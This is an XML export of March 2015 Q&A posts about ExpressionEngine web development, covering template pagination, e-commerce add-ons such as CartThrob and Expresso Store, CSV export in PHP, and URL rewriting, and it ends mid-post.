  <row Id="30664" PostTypeId="2" ParentId="30660" CreationDate="2015-03-23T07:15:15.360" Score="1" Body="&lt;p&gt;There's two issues - the generation of the original ids in the parent and your example not using pagination. You've not given the code for how the entry IDs are generated in the parent, but will it always be different upon each visit for the same user or it generates the same entry IDs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the parent is generating the same Entry ID list for that user consistently, it sounds like you're just repeating the page each time (based on the code you provided), therefore it's randomising each time. Use &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/pagination.html&quot; rel=&quot;nofollow&quot;&gt;Pagintion&lt;/a&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:ids}&quot; orderby=&quot;random&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; paginate=&quot;bottom&quot;} &#xA;&#xA;  Question stuff here.&#xA;&#xA;  {paginate}&#xA;    &amp;lt;p&amp;gt;Question {current_page} of {total_pages}&amp;lt;/p&amp;gt;&#xA;    {if next_page}&#xA;        &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;a href=&quot;completed URL here&quot;&amp;gt;Finished&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;  {/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pagination will build the random order for all results found (the unchanging entry ID list), then only display one question on screen. When using the pagination links, it will refer to the original order created, not regenerate each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the parent that creates the {embed:ids} is generating them differently on each page load, try saving the entry ID list to a &lt;a href=&quot;https://devot-ee.com/add-ons/session-variables-plugin&quot; rel=&quot;nofollow&quot;&gt;session variable&lt;/a&gt; instead, and if it exists, use it rather than generate a new list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:session_variables:get name=&quot;question-order&quot;}'}&#xA;    Don't generate&#xA;    {embed=..... ids=&quot;{exp:session_variables:get name=&quot;question-order&quot;}&quot;}&#xA;{if:else}&#xA;    Generate&#xA;    {exp:session_variables:set name=&quot;question-order&quot; value=&quot;generated entry IDs&quot;}&#xA;    {embed=..... ids=&quot;generated entry IDs&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then once the assessment is complete, clear the variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:session_variables:delete name=&quot;question-order&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-03-23T07:15:15.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30665" PostTypeId="2" ParentId="30654" CreationDate="2015-03-23T07:19:52.397" Score="0" Body="&lt;p&gt;I've never been a fan of the EE path and prefer to use more traditional linking, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. Never used channel images so using &lt;code&gt;{file:id}&lt;/code&gt; as a segment marker as well as the curl_title of the channel entry itself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;thumbContainer&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;some_images&quot; limit=&quot;20&quot;}&#xA;    {exp:channel_images:images entry_id=&quot;{entry_id}&quot;}&#xA;      &amp;lt;div class=&quot;galleryGrid&quot;&amp;gt;&#xA;        &amp;lt;a class=&quot;gallery&quot; href=&quot;/portfolio/myview/{url_title}/{file:id}&quot;&amp;gt;&amp;lt;img src=&quot;{image:url:thumb}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    {/exp:channel_images:images}&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;{exp:channel:entries channel=&quot;some_images&quot; limit=&quot;1&quot; url_title=&quot;{segment_3}&quot;}&#xA;  &amp;lt;section class=&quot;wrapper&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;backToPortfolio&quot;&amp;gt;&amp;lt;a href=&quot;{path='portfolio/gallery'}&quot;&amp;gt;&amp;lt;span class=&quot;fa fa-angle-double-left&quot;&amp;gt;&amp;lt;/span&amp;gt;Back To Portfolio&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;stage&quot;&amp;gt;&#xA;      //&#xA;      //Added file_id=&quot;{segment_4}&quot; to make sure this single view page targets correct image&#xA;      //&#xA;      {exp:channel_images:images entry_id=&quot;{entry_id}&quot; file_id=&quot;{segment_4}&quot; limit=&quot;1&quot;}&#xA;        &amp;lt;img class=&quot;mainImage&quot; src=&quot;{image:url}&quot; alt=&quot;{image:title}&quot; /&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;        &amp;lt;article class=&quot;description&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;{image:title}&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;h6&amp;gt;{image:field:1}&amp;lt;/h6&amp;gt;&#xA;          &amp;lt;p&amp;gt;{image:description}&amp;lt;/p&amp;gt;&#xA;      {/exp:channel_images:images}&#xA;&#xA;      &amp;lt;div class=&quot;imageNavLeft&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;/portfolio/myview/{url_title}/{file:id}&quot;&amp;gt;&amp;lt;span class=&quot;fa fa-chevron-circle-left&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;imageNavRight&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;/portfolio/myview/{url_title}/{file:id}&quot;&amp;gt;&amp;lt;span class=&quot;fa fa-chevron-circle-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/article&amp;gt;&#xA;  &amp;lt;/section&amp;gt;    &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically without seeing your destination page, I'm including the &lt;code&gt;file:id&lt;/code&gt; + the EE entries &lt;code&gt;{url_title}&lt;/code&gt; in the link so on the destination page you can target &lt;code&gt;{segment_3}&lt;/code&gt; &amp;amp; &lt;code&gt;{segment_4}&lt;/code&gt; to implicitly call the EE entry and the corresponding CI image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;htttp://ansite.com/portfolio/my_entries_url_title/channel_images_entry_id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: Never used channel images and am unsure of how an uploaded images are output individually. I always thought Channel images was specifically for displaying multiple images on one page.&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2015-03-23T07:25:01.237" LastActivityDate="2015-03-23T07:25:01.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30666" PostTypeId="1" AcceptedAnswerId="30669" CreationDate="2015-03-23T11:17:31.580" Score="0" ViewCount="43" Body="&lt;p&gt;I've been asked to set up an event booking system on an installation that already has Expresso Store. I can set up each event as a product item, and let visitors use the quantity field to specify booking numbers. But I also need to capture information on each person booked. I can include a text field modifier, but I would need a flexible number of fields for an unknown booking number. Is there a way to turn the text modifier field into a grid type field?&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2015-03-23T14:24:23.867" Title="Expresso Store with Grid type field" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30667" PostTypeId="1" AcceptedAnswerId="30703" CreationDate="2015-03-23T11:24:22.730" Score="0" ViewCount="79" Body="&lt;p&gt;I have a member group called &quot;Editors&quot; and I gave permission to the editors to be able to view the website when it's offline. They could access the control panel but they couldn't access the website unfortunately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes I face the same problem as an Admin when I try to login to my account using windows computers. I tried to use different browsers but the problem would always occur. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2015-03-24T18:00:49.150" Title="Editors can't access the website when it's offline" Tags="|ee|offline|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30668" PostTypeId="2" ParentId="30594" CreationDate="2015-03-23T13:08:11.763" Score="1" Body="&lt;p&gt;Your code should look like this (note the end of the opening &lt;code&gt;channel:entries&lt;/code&gt; tag - you were missing a combination of quotes and curly braces):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;specials&quot; orderby=&quot;date&quot; category=&quot;{segment_3_category_id}&quot;}&#xA;    &amp;lt;p&amp;gt;{entry_date format='%j%S %M %Y'}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{specials_excerpt}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also omitted the &lt;code&gt;category_group&lt;/code&gt; parameter, since it is overridden by the &lt;code&gt;category&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure that your selected category group is chosen in the Low Seg2Cat extension settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also add that if you set your &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html#category-url-indicator&quot; rel=&quot;nofollow&quot;&gt;category URL indicator&lt;/a&gt; to &quot;category&quot;, then you wouldn't need Low Seg2Cat in this specific case (and you could remove the &lt;code&gt;category&lt;/code&gt; parameter entirely) - the URL you showed would automatically load all entries in the &quot;europe&quot; catgeory.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;EE 2.9.2 has phased out the use of nesting multiple curly braces&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not true. You only omit the braces inside of &lt;em&gt;conditionals&lt;/em&gt; (and even then, sometimes you may still need to use quoted parsed variables there). Everywhere else, variables need braces around them in order to be parsed and used.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-03-24T18:22:30.403" LastActivityDate="2015-03-24T18:22:30.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30669" PostTypeId="2" ParentId="30666" CreationDate="2015-03-23T14:24:23.867" Score="2" Body="&lt;p&gt;There is nothing out of the box that would allow you to do this. You would either need to create an extension, use JavaScript or change your workflow around a bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I have usually seen it done where you enter a single users information in a modal window then click an add another button which will add that item to the cart and refresh the modal window to add the next person information. This would be repeated until you added all of the people and you could click submit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively I have seen this done where a user will select the product and quantity which will load a new page using the product form tag and repeating the product based upon the quantity the user entered. Then the user would fill out the fields as needed and submit to add the item to the cart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these methods work because Store will see the same item with different text modifiers as different items in the cart. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-03-23T14:24:23.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30670" PostTypeId="1" AcceptedAnswerId="30697" CreationDate="2015-03-23T14:44:48.637" Score="0" ViewCount="52" Body="&lt;p&gt;We don't found below thing's. Please let me know weather this think are possible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Does we can add single file from grid in favorite?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) We need collection date of particular user. can it be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Can we delete more than one favorite from list at a time?&lt;/p&gt;&#xA;" OwnerUserId="2423" LastActivityDate="2015-04-07T14:09:30.433" Title="We need some functionality to be done using solspace Favorites" Tags="|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30671" PostTypeId="1" CreationDate="2015-03-23T15:13:37.067" Score="1" ViewCount="52" Body="&lt;p&gt;EE 2.9.0&#xA;CartThrob Pro 2.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site where orders are placed and the customer chooses the pickup date from a radio selection. The pickup dates are created in the menu channel and then fed into the checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Checkout - second page the relevant code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:channel:entries channel=&quot;menus&quot; url_title=&quot;{segment_3}&quot;}&#xA;&#xA;        {exp:cartthrob:save_customer_info_form id=&quot;delivery-form&quot; name=&quot;delivery-form&quot; class=&quot;form-horizontal parsley&quot; return=&quot;checkout/cart&quot; required=&quot;custom_data[order_pickup_delivery]&quot;}&#xA;&#xA;        &amp;lt;h2&amp;gt;Choose your method of Pickup/Delivery&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p id=&quot;note&quot;&amp;gt;If you have a special request regarding delivery time or date, you enter it on the next screen.&amp;lt;/p&amp;gt;&#xA;&#xA;        {menu_pickup_delivery}&#xA;            &amp;lt;label class=&quot;radio&quot;&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;custom_data[order_pickup_delivery]&quot; value=&quot;{menu_pickup_delivery:option}&quot; {if menu_pickup_delivery:default}checked=&quot;checked&quot;{/if}&amp;gt; {menu_pickup_delivery:option}&amp;lt;/label&amp;gt;&#xA;        {/menu_pickup_delivery}&#xA;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; id=&quot;submit&quot; value=&quot;Continue&quot; class=&quot;btn btn-large btn-primary&quot; formnovalidate&amp;gt;&#xA;&#xA;        {/exp:cartthrob:save_customer_info_form}&#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue is that CartThrob is randomly not saving this data even though there is a default radio button. When I look in the CP edit page for the orders channel I can see random entries with no data saved for the delivery date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However on testing in Chrome, FF, and IE I was unable to replicate data not saving when I did not change the radio selection or when I did change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on what could be happening here?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-03-23T15:13:37.067" Title="CartThrob Checkout randomly not saving data" Tags="|cartthrob|checkout|saving|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30673" PostTypeId="2" ParentId="18819" CreationDate="2015-03-23T15:51:44.047" Score="0" Body="&lt;p&gt;Just posting here since others may wonder what I just had a problem with and found this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure if you're wanting to just use &quot;{price}&quot; for one of the options, appened it with _val or it'll just show up as $0.  It's easy to miss in the official docs.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;{price}&quot; = &quot;$123.00&quot; (won't work due to automatic formatting)&lt;/li&gt;&#xA;&lt;li&gt;&quot;{price_val}&quot; =&quot;123.00&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6088" LastActivityDate="2015-03-23T15:51:44.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30677" PostTypeId="2" ParentId="30655" CreationDate="2015-03-23T17:16:05.877" Score="0" Body="&lt;p&gt;Christy is correct saying that your config.php settings are overriding the control panel settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the settings you listed, you should be able to remove or comment out the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['site_404'] = &quot;404/index&quot;; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then continue following the EllisLab guide to set the correct 404 template from within the control panel.&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2015-03-23T17:16:05.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30678" PostTypeId="2" ParentId="30558" CreationDate="2015-03-23T17:16:32.077" Score="0" Body="&lt;p&gt;We finished this up via email support. This is a known bug and will be fixed in the next release (2.5.1, I believe). P&amp;amp;T sent me an advanced copy and it resolved the issue.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2015-03-23T17:16:32.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30679" PostTypeId="1" AcceptedAnswerId="30683" CreationDate="2015-03-23T17:22:49.910" Score="1" ViewCount="639" Body="&lt;p&gt;I have a very simple &quot;PHP allowed&quot; EE template that queries the EE db and generates CSV reports from it. I need to add to one of these reports the contents of one particular channel field, which happens to be a CKEditor field. The double quotes and line breaks within the contents of this field in some rows are wreaking havoc with my CSV output, and other HTML doesn't actually break the CSV but is useless at best in the context of readable CSV output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's the most straightforward way to strip out line breaks and doublequotes, and maybe also all HTML, without having to install any new add-ons, which to my eternal chagrin I cannot do on this site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My full template code is below... you obviously won't be able to run it because my channel field definitions are unique, but it shows you the simplicity of what I am doing, so I'm hoping for a likewise simple solution to my HTML stripping issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;header('Content-Type: text/csv; charset=utf-8');&#xA;header('Content-Disposition: attachment; filename=report.csv');&#xA;?&amp;gt;&quot;Title&quot;,&quot;URL title&quot;,&quot;First name&quot;,&quot;Last name&quot;,&quot;Notes&quot;&#xA;&amp;lt;?&#xA;&#xA;    {exp:query sql=&quot;SELECT title, url_title, field_id_128 AS 'FirstName', field_id_129 AS 'LastName', field_id_132 AS 'Notes' FROM (exp2_channel_data cd JOIN exp2_channel_titles ct ON ct.entry_id = cd.entry_id) WHERE cd.site_id = 3 and cd.channel_id = 19 GROUP BY cd.entry_id ORDER BY field_id_129&quot;}&#xA;        ?&amp;gt;&quot;{title}&quot;,&quot;{url_title}&quot;,&quot;{FirstName}&quot;,&quot;{LastName}&quot;,&quot;{Notes}&quot;&amp;lt;?&#xA;        print &quot;\n&quot;;&#xA;    {/exp:query}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2104" LastEditorUserId="2104" LastEditDate="2015-03-24T05:25:17.190" LastActivityDate="2015-12-20T08:32:46.393" Title="Strip line breaks, quotes, HTML out of SQL query result for CKEditor field contents (for CSV output)" Tags="|html|csv|strip-html|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30680" PostTypeId="1" AcceptedAnswerId="30741" CreationDate="2015-03-23T17:46:58.030" Score="0" ViewCount="214" Body="&lt;p&gt;I need to generate a unique id for Playa child element so that an accordion works properly. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;doctors_locations&quot;}&#xA;    &amp;lt;a href=&quot;#id-{count}-{url_title}&quot; class=&quot;accordion-toggle&quot;&amp;gt;{locations_displayed_name}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div id=&quot;id-{count}-{url_title}&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The {count} tag gives me the row count of the Playa object. This results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#id-1-my-hospital-url-title&quot; class=&quot;accordion-toggle&quot;&amp;gt;My Hospital Name&amp;lt;/a&amp;gt;&#xA;&amp;lt;div id=&quot;id-1-my-hospital-url-title&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This Playa relationship is Doctors &gt; Locations - a one-to-many relationship. So, if the same location belongs to multiple doctors, I get duplicate ids on a list page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get a unique ID for each entry on this page, what I really need is the url_title of the parent in this relationship. This is what I'm looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#id-1-my-doctor-url-title&quot; class=&quot;accordion-toggle&quot;&amp;gt;My Hospital Name&amp;lt;/a&amp;gt;&#xA;&amp;lt;div id=&quot;id-1-my-doctor-url-title&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, this is a one-to-many (one doctor works at many locations), so I will get a unique ID for each if I can figure this out.&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-03-26T15:19:21.093" Title="How to get the url_title of parent using Playa?" Tags="|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30681" PostTypeId="2" ParentId="30656" CreationDate="2015-03-23T18:13:03.080" Score="0" Body="&lt;p&gt;Native EE checkbox fields simply store the options as plain text - to my knowledge there is no way to make one a &lt;em&gt;true&lt;/em&gt; boolean. But what you have should work. The box being left unchecked will result in a NULL value for that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all these should work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if business_for_sale == 'Yes'}&#xA;{if business_for_sale}&#xA;{if business_for_sale == ''}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-03-23T18:13:03.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30682" PostTypeId="1" CreationDate="2015-03-23T18:59:48.770" Score="0" ViewCount="43" Body="&lt;p&gt;When attempting to upload modules to Updater I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Server responded with a 404 status&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I click &quot;Show More&quot; it just says &lt;strong&gt;Object not found!&lt;/strong&gt; in the detailed view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using FTP upload mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This exact same behavior occurs when attempting to backups EE/DB, except it returns the following status line:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unexpected server response, probably a PHP error.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I click &quot;Show More&quot; here, however, it's just the same 404 page as above (Object not found!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to make this addon work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EE version&lt;/strong&gt;: 2.7.3 (attempting to get this addon working so I can update to 2.9.0)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updater version&lt;/strong&gt;: 3.2.17&lt;/p&gt;&#xA;" OwnerUserId="3694" LastActivityDate="2015-03-23T18:59:48.770" Title="Cannot upload any files in Devdemon Updater" Tags="|devdemon|devdemon-updater|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30683" PostTypeId="2" ParentId="30679" CreationDate="2015-03-23T19:42:27.483" Score="1" Body="&lt;p&gt;I see that you can't use add-ons. I also realized that my previous answer would not work because of parse order issues between EE tags and PHP. Here is an updated, purely PHP answer for you. I've tested it on a template with PHP turned on (doesn't matter if it's input or output).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit definitely goes to this stack answer: &lt;a href=&quot;https://stackoverflow.com/questions/3933668/convert-array-into-csv&quot;&gt;https://stackoverflow.com/questions/3933668/convert-array-into-csv&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply modified it to fit your needs. You may also have to modify it for whatever your final CSV format requirements are. I wanted to give you an answer using the fputcsv() PHP function, but it's broken and will only enclose values if certain conditions are met, and you can't force it to enclose every field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Set headers&#xA;header('Content-Type: text/csv; charset=utf-8');&#xA;header('Content-Disposition: attachment; filename=report.csv');&#xA;&#xA;/**&#xA;  * Formats a line (passed as a fields  array) as CSV and returns the CSV as a string.&#xA;  * Adapted from http://us3.php.net/manual/en/function.fputcsv.php#87120&#xA;  */&#xA;function arrayToCsv( array &amp;amp;$fields, $delimiter = ';', $enclosure = '&quot;', $encloseAll = false, $nullToMysqlNull = false ) {&#xA;    $delimiter_esc = preg_quote($delimiter, '/');&#xA;    $enclosure_esc = preg_quote($enclosure, '/');&#xA;&#xA;    $output = array();&#xA;    foreach ( $fields as $field ) {&#xA;        if ($field === null &amp;amp;&amp;amp; $nullToMysqlNull) {&#xA;            $output[] = 'NULL';&#xA;            continue;&#xA;        }&#xA;&#xA;        // Enclose fields containing $delimiter, $enclosure or whitespace&#xA;        // Also strip html tags&#xA;        if ( $encloseAll || preg_match( &quot;/(?:${delimiter_esc}|${enclosure_esc}|\s)/&quot;, $field ) ) {&#xA;            $output[] = $enclosure . strip_tags(str_replace($enclosure, $enclosure . $enclosure, $field)) . $enclosure;&#xA;        }&#xA;        else {&#xA;            $output[] = $field;&#xA;        }&#xA;    }&#xA;&#xA;    // Return with new line ending&#xA;    return implode( $delimiter, $output ) . &quot;\r\n&quot;;&#xA;}&#xA;&#xA;// Use the database class to get the query&#xA;$f = ee()-&amp;gt;db   -&amp;gt;select(&quot;title, url_title&quot;)&#xA;                -&amp;gt;from(&quot;exp_channel_titles&quot;)&#xA;                -&amp;gt;get()-&amp;gt;result_array();&#xA;&#xA;&#xA;// Open output to browser&#xA;$fp = fopen('php://output', 'w'); // this file actual writes to php output&#xA;&#xA;// Headers&#xA;$out = '&quot;Title&quot;,&quot;Url Title&quot;' . &quot;\r\n&quot;;&#xA;&#xA;// Autobots, write, transform, and roll out&#xA;foreach($f as $row)&#xA;{&#xA;    $out .= arrayToCsv($row, ',', '&quot;', TRUE);&#xA;}&#xA;&#xA;fwrite($fp, $out);&#xA;fclose($fp);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-03-24T14:43:17.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30684" PostTypeId="2" ParentId="30679" CreationDate="2015-03-23T20:24:15.457" Score="1" Body="&lt;p&gt;Would a plugin like Streeng work out for you? &lt;a href=&quot;https://github.com/caddis/streeng&quot; rel=&quot;nofollow&quot;&gt;https://github.com/caddis/streeng&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to find/replace text. It can encode/decode HTML character codes, selectively strip HTML, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As jchrono-battle said, I'd be surprised if there wasn't a CSV exporter already available. &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2015-03-23T20:24:15.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30685" PostTypeId="2" ParentId="30634" CreationDate="2015-03-23T21:10:09.663" Score="0" Body="&lt;p&gt;I've just encountered this, but it's &quot;COUPON_CODE_MODEL&quot; that can't be found in my install.  I'm on the same versions of EE &amp;amp; CT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is happening when I try to check out with Offline Payments, when I have set &quot;When order is taken, set processing status to:&quot; to &quot;Complete&quot;, rather than &quot;Processing&quot;.  When &quot;Processing&quot; it submits fine; when &quot;Complete&quot;, I get the error message.&lt;/p&gt;&#xA;" OwnerUserId="486" LastActivityDate="2015-03-23T21:10:09.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30686" PostTypeId="1" CreationDate="2015-03-23T21:39:37.447" Score="1" ViewCount="38" Body="&lt;ul&gt;&#xA;&lt;li&gt;EE 2.9.2 &lt;/li&gt;&#xA;&lt;li&gt;Solspace User 3.5.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've got a front-end member &quot;forgot password&quot; form on a site that uses Solspace User and Focuslab config and I'm removing index.php with .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My profile_trigger config value is hardcoded in the Focuslab config to an obscure string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['profile_trigger'] = '1ue985h60r92ynd9475ht9v7'; //rand(0,time());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This usually this works like a champ, but the password reset link in the email is going to EE's 404 page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://domain.com/1ue985h60r92ynd9475ht9v7/reset_password?&amp;amp;id=qU4lQ64d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried inserting index.php into the URL string to no avail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://domain.com/index.php/1ue985h60r92ynd9475ht9v7/reset_password?&amp;amp;id=qU4lQ64d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.htaccess looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;Options +FollowSymlinks&#xA;&#xA;#&#xA;# REMOVE WWW&#xA;#&#xA;RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xA;RewriteRule ^(.*)$ https://aoma.edu/$1 